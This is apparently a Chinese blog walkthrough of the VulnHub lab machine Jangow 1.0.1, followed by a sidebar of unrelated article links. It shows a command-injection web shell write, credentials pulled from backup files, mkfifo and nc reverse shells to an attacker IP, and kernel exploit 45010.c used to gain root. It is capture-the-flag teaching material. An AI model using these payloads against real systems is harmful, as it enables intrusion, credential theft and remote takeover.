当前位置:网站首页>vulnhub 靶机 Jangow: 1.0.1
vulnhub 靶机 Jangow: 1.0.1
2022-07-19 05:14:00 【Mauro_K】
前言
难度:简单,本文使用VirtualBox打开,下载地址:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova。
一、安装Jangow: 1.0.1靶机
1)选择管理—导入虚拟机电脑。
2)选择下载的Jangow: 1.0.1的文件路径。
3)不至于傻到安装C盘吧!!!
4)显存改到128或256都可以。
5)选择主机网络管理器。
6)选择手动配置网卡。
7)选择启用并配置DHCP服务器。
8)靶机和kali的网络都设置成仅主机模式。
二、Web部分
1)ip已经给了,直接扫端口。
2)扫出的端口如下所示:
3)访问80端口看看,点击site跳转到一个网站。
4)dirsearch扫描下目录,同时前端页面点点点,看下功能。
5)发现wordpress地址,但未发现后台登录地址,没用,但是前端出现一个可以传参的接口,并且可利用。
6)直接一句话上传,用蚁剑连接。
http://192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST["pass"]);' > 666.php
7)先翻翻看,发现了wordpress的账号密码,先记录下备用。
8)在HTML下发现了.backup文件,里面包含了账号密码,记录备用。
9)尝试登录frp,使用之前翻到的两个账号密码分别尝试,结果.backup 文件中的jangow01/abygurl69,可以登陆,翻看下没有什么有用的信息。
10)常规反弹shell失败,可能是nc 不支持 -e 参数,这个时候可以有两种解决方式:
第一种是使用其他的nc版本如下所示:
nc.traditional <your_vps> 1024 -e /bin/sh
第二种就是使用 mkfifo 命令创建命名管道反弹shell,
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f
11)本文使用第二种,然后访问浏览器触发式反弹shell,先使用蚁剑在/var/www/html/site/下面新建11.php文件,然后输入下方内容,注意ip换成自己ip的,另外该靶机只能用443端口。
<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f");?>
12)kali开启nc监听443端口,然后用浏览器去访问11.php文件,成功反弹shell。
13)查看是否存在python环境。
whereis python
14)存在python环境,切换交互式shell。
python3 -c 'import pty;pty.spawn("/bin/bash")'
三、提权部分
1)当前为www-data权限,所以需要提权,查看内核版本和发行版本。
2)通过上一步可知内核版本为4.4.0-31,发行版本为Ubuntu16.04,利用searchsploit工具搜索一下,搜索内核版本和发行版本都可以,发行版本多一些。
3)本文选用内核版本的第一个45010.c,将45010.c下载到本地。
4)本地编译好。
5)利用蚁剑直接上传exp。
6)增加执行权限,然后执行,成功提权为root。
7)root目录下存在flag,打靶结束。
四、web漏洞代码分析
1)我们已知漏洞点为buscar=,处理的参数的文件是busque.php。
2)蚁剑查看,发现很简单。。。。。
边栏推荐
- The paper interprets beyond self attention: external attention using two linear layers for visual tasks
- FPGA网口实现与详解(3)
- Mindscore "implementing a picture classification application" runs incorrectly
- stm32f4 用一个定时器输出多个不同频率占空比PWM波(含代码)
- Xilinx FPGA关键资源评估
- Stm32f4 uses a timer to output multiple PWM waves with different frequency duty cycles (including codes)
- G2l series core board -rz/g2l processor introduction | frame diagram | power consumption | schematic diagram and hardware design guide
- Differences between types any, void, unknown, and never in typescript
- Bing Bing search doesn't work
- MNN learning notes
猜你喜欢
i.MX8MP开发板移植USBWIFI RTL8192EU驱动
Summary of errors reported during compilation of vivado2020
Ktor2.0很多新特性,我们一年前就想到了,并已落实在项目中
提升开发效率的 Chrome 开发者工具快捷键参考
【mindspore】【import erro】 undefined symbol _ Z14DlogErrorInneriPK
RAC deployment of centos7x Oracle 11g (no graphical installation)
G2L系列 核心板 -RZ/G2L 處理器簡介|框架圖|功耗|原理圖及硬件設計指南
Reasons and solutions for the whitening of computer shortcuts -- the lesson of blood woo woo
PCB在导出gerber文件时过孔盖油设置方法
vivado2020在编译过程中报错总结
随机推荐
Interpretation of text compression aided transformer encoding
RTOS——RT-Thread Studio
基于循环卷积的一维小波变换程序验证(C语言)
E2EC: An End-to-End Contour-based Method for High-Quality High-Speed Instance Segmentation
FPGA刷题P1:4选1多路选择器、异步复位的串联T触发器、奇偶校验、移位拼接乘法
提升开发效率的 Chrome 开发者工具快捷键参考
The Debian system is ported with USBWiFi rtl8192eu driver and set to start automatically
Qualcomm snpe
This paper interprets "semi supervised medical image segmentation with local contrast loss based on pseudo label self training"
SCU of zynq ARM core
Stm32f4 uses advanced timer to output PWM wave (including code)
【LoRa&NB-IoT】现状分析
Win10系统安装ISE14.7后出现软件闪退及驱动不能正常安装问题
Jetson Xavier NX source code compilation and installation ROS melody experience (failed)
ARM中断优先级之理解
QT calls external exe program (the simplest and easiest to use)
Detailed explanation of tunnel and agent usage in SSH protocol
皮尔逊相关系数及代码实现(C语言+MATLAB)
Construction of virtual host (multiple sites)
Ktor2.0很多新特性,我们一年前就想到了,并已落实在项目中